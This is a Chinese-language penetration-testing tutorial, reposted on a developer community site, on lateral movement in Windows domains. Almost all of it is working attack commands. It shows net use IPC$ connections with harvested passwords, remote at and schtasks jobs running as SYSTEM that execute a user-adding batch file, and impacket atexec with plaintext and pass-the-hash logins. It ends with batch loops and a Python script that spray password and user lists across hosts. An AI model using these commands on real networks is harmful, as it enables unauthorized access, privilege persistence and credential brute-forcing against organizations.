内网安全-域横向批量at&schtasks&impacket-阿里云开发者社区

内网安全-域横向批量at&schtasks&impacket

2023-05-28 101

版权

本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。

简介： 内网安全-域横向批量at&schtasks&impacket

横向渗透明文传递at&schtasks

在拿下一台内网主机后，通过本地信息搜集收集用户凭证等信息后，如何横向渗透拿下更多的主机？这里仅介绍at&schtasks命令的使用，在已知目标系统的用户明文密码的基础上，直接可以在远程主机上执行命令。

获取到某域主机权限->minikatz得到密码（明文，hash）->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

利用流程

1. 建立IPC链接到目标主机

2. 拷贝要执行的命令脚本到目标主机

3. 查看目标时间，创建计划任务（at、schtasks）定时执行拷贝到的脚本

4. 删除IPC链接

net use \\server\ipc$"password" /user:username  # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\                  # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat      # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$  # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del    # 删除IPC
net view xx.xx.xx.xx                   # 查看对方共享

#建立IPC常见的错误代码

（1）5：拒绝访问，可能是使用的用户不是管理员权限，需要先提升权限

（2）51：网络问题，Windows 无法找到网络路径

（3）53：找不到网络路径，可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题

（4）67：找不到网络名，本地Lanmanworkstation服务未启动，目标删除ipc$

（5）1219：提供的凭据和已存在的凭据集冲突，说明已建立IPC$，需要先删除

（6）1326：账号密码错误

（7）1792：目标NetLogon服务未启动，连接域控常常会出现此情况

（8）2242：用户密码过期，目标有账号策略，强制定期更改密码

#建立IPC失败的原因

（1）目标系统不是NT或以上的操作系统

（2）对方没有打开IPC$共享

（3）对方未开启139、445端口，或者被防火墙屏蔽

（4）输出命令、账号密码有错误

windows 2012 前系统支持 at 命令

windows 2012后系统支持 schtasks 命令

当前主机环境

windows server 2012 为域控制器

windows server 2003 域用户

windows 7 域用户

#at < Windows2012

windows server 2003示例：

# 建立ipc连接：
net use \\10.4.7.50\ipc$ "admin!@#45" /user:hack.org\administrator

创建一个bat脚本 copy到对方主机

添加用户
notepad add.bat
net user linuxba test!@#123 /add
#拷贝执行文件到目标机器
copy add.bat \\10.4.7.50\c$  
#添加计划任务
at \\10.4.7.50 17:15 c:\add.bat

2003 查看用户列表

#schtasks >=Windows2012
# 建立ipc连接：
net use \\10.4.7.52\ipc$ "admin!@#45" /user:hack.org\administrator

#复制文件到其C盘
copy add.bat \\10.4.7.52\c$
#创建adduser任务对应执行文件 
schtasks /create /s 10.4.7.52 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F 
#运行adduser任务
schtasks /run /s 10.4.7.52 /tn adduser /i 
#删除adduser任务
schtasks /delete /s 10.4.7.52 /tn adduser /f

横向渗透明文HASH传递atexec-impacket

# 渗透win7 个人用户（明文）
atexec.exe ./administrator:123@10.4.7.52 "whoami"

# 渗透win7 域域户 （明文）
atexec.exe hack/administrator:admin!@#45@10.4.7.52 whoami

# hash 渗透
atexec.exe -hashes:e90127c07127ed12f4ebf668acca53e9 ./administrator@10.4.7.52 whoami
横向渗透明文HASH传递批量利用-综合
#批量检测IP对应明文连接
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator
#批量检测IP对应明文回显版
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami
#批量检测明文对应IP回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@10.4.7.52 whoami 
#批量检测HASH对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@10.4.7.52 whoami 
#横向渗透明文HASH传递批量利用-升级版
net use \\10.4.7.52\ipc$ admin!@#45 /user:hack\hack
#pip install pyinstaller
#pyinstaller -F newhash.py 生成可执行EXE
import os,time
ips={
   '10.4.7.50',
   '10.4.7.51',
   '10.4.7.52'
}
users={
   'Administrator',
   'hack',
   'kali',
   'ajie'
}
passs={
   'admin',
   'admin!@#45',
   '123'
}
for ip in ips:
   for user in users:
       for mima in passs:
           exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:hack\\'+user
           print('--->'+exec+'<---')
           os.system(exec)
           time.sleep(1)